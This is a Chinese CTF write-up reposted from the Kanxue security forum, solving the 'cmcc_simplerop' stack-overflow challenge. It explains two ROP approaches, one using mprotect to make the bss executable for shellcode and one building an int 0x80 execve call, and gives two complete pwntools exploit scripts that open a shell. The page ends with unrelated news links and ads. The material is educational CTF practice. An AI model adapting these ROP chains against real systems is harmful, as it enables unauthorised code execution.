CTF实战练习Cmcc_simplerop
 
                    
本文为看雪论坛优秀文章
看雪论坛作者ID:N1co5in3
一
题目复现


主函数可溢出:
存在mprotect,可以改变bss权限后,在bss写入shell代码。
存在int 0x80,可以调整寄存器利用中断执行sh。
因此本题有两种思路。
二
解题思路
方法一:
先用mprotect改写bss段权限,用read函数在bss段写入shell代码。
方法二:
由于文件中没用binsh字符串,先用read函数在bss段写入‘/bin/sh’,再调整寄存器执行exec函数。
三
调试过程


执行完函数需要pop3执行后面的函数,都可以用。

int 80(eax,ebx,ecx,edx):eax为11,ebx为’/bin/sh’地址,ecx,edx缺省。





gdb断点应该更直观。
得到ret地址位移为0x20,考虑原因:这道题应该不是我们平常做的c语言编译器得到的,elf结构比较奇怪,所以栈也有所不同。

四
Payload
from pwn import *context.log_level = 'debug'context.arch = 'i386'io = process('./simplerop')#io = remote('node4.buuoj.cn',25205)elf = ELF('./simplerop')main_addr = 0x8048e26read_addr = 0x806cd50#pop_eax = 0x80bae06pop_edx_ecx_ebx = 0x806e850#int80_addr = 0x80493e1binsh_addr = 0x80eaf80mprotect_addr = 0x806d870#binsh_addr = 0x80eb584payload = b'a'*0x20 + p32(mprotect_addr) + p32(pop_edx_ecx_ebx) + p32(0x80ea000) + p32(0x1000) + p32(7)payload += p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x100)payload += p32(binsh_addr)io.sendlineafter('it',payload)sleep(0.2)payload2 = asm(shellcraft.sh())io.sendline(payload2)io.interactive()
from pwn import *context.log_level = 'debug'context.arch = 'i386'io = process('./simplerop')#io = remote('node4.buuoj.cn',25205)elf = ELF('./simplerop')main_addr = 0x8048e26read_addr = 0x806cd50pop_eax = 0x80bae06pop_edx_ecx_ebx = 0x806e850pop_ebx = 0x80481c9int80_addr = 0x80493e1binsh_addr = 0x80eaf80#binsh_addr = 0x80eb584payload = b'a' * 0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)payload += p32(pop_eax) + p32(11) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) +p32(binsh_addr) + p32(int80_addr)#payload += p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(binsh_addr) + p32(int80_addr)io.sendline(payload)io.sendline(b'/bin/sh\x00')io.interactive()
五
未解决问题
希望有师傅可以交流解决上述问题!
 
 
看雪ID:N1co5in3
https://bbs.pediy.com/user-home-945391.htm

# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
                        关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
                        让资讯触达的更精准有趣:https://www.0xu.cn/
                    
 关注KnowSafe微信公众号
            关注KnowSafe微信公众号随时掌握互联网精彩
- Domain Admin开源的域名及证书管理平台
- One API 接口管理 & 分发系统
- IDC 中国20大杰出安全项目奖公布 百度智能云x泰康保险合作项目获奖
- Telegram在巴西被封禁,只因电子邮件问题未收到法院传票?
- 2个维度5大方法,让你的微服务在K8s上跑起来
- Go 语言“助力”恶意软件?仅 4 年基于 Go 的恶意软件数就激增 2000%!
- 看雪精华集21 新鲜出炉!1229篇干货文章助你功力倍增!
- 网络尖刀蝉联八年腾讯TSRC年度优秀合作伙伴,pytho1n白帽第一斩获“漏洞之王”称号
- “火星人”马斯克推论:世界或是被编码而成,上帝可能是个程序员!
- @程序员,CSDN“年度征文”开启,快来年终盘点挣大奖吧~
- 周报|POC产品实测、CSO杜跃进授课、互联网企业泄露隐私等引热议:11.22~11.28
- 各大搜索引擎蜘蛛爬虫UA汇总
            赞助链接
        
    
 
                 
             
             
            
 
        
 
        
